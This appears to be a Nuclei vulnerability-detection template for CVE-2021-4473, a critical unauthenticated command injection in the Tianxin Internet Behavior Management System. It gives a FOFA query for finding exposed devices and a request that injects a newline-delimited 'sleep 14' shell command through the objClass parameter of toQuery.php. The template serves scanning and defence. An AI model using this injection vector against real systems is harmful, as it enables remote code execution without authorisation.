id: CVE-2021-4473 info: name: Tianxin Internet Behavior Management System - Command Injection author: 0x_Akoko severity: critical description: | Tianxin Internet Behavior Management System contains a command injection caused by crafted objClass parameter in Reporter component endpoint, letting unauthenticated attackers execute arbitrary commands and write malicious PHP files, exploit requires no authentication. impact: | Unauthenticated attackers can execute arbitrary commands and achieve remote code execution with web server privileges. remediation: | Update to version NACFirmware_4.0.0.7_20210716.180815_topsec_0_basic.bin or later. reference: - https://cn-sec.com/archives/4631959.html - https://www.vulncheck.com/advisories/tianxin-internet-behavior-management-system-command-injection-via-toquery-php - https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972 - https://avd.aliyun.com/detail?id=AVD-2021-890232 - https://nvd.nist.gov/vuln/detail/CVE-2021-4473 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-4473 epss-score: 0.17927 epss-percentile: 0.97253 cwe-id: CWE-78 metadata: verified: true max-request: 2 vendor: topsecgroup product: tianxin_internet_behavior_management_system fofa-query: app="天融信-上网行为管理系统" tags: cve,cve2021,topsec,tianxin,reporter,rce,injection,unauth,vkev flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "Login @ Reporter", "/images/reporter.ico", "/style/common.css")' condition: and internal: true - raw: - | @timeout: 30s GET /view/Behavior/toQuery.php?method=getList&objClass=%0asleep%2014%0a HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'duration >= 14' condition: and # digest: 4a0a00473045022100b3e5eaa7e4e6b28298d3df5120c9b203b54a39a2379e13a548116c41440c597502206ad64db41bf0aea9d34b98f57a6f89e63aa018372efe974dc3f42731c56d00dd:922c64590222798bb761d5b6d8e72950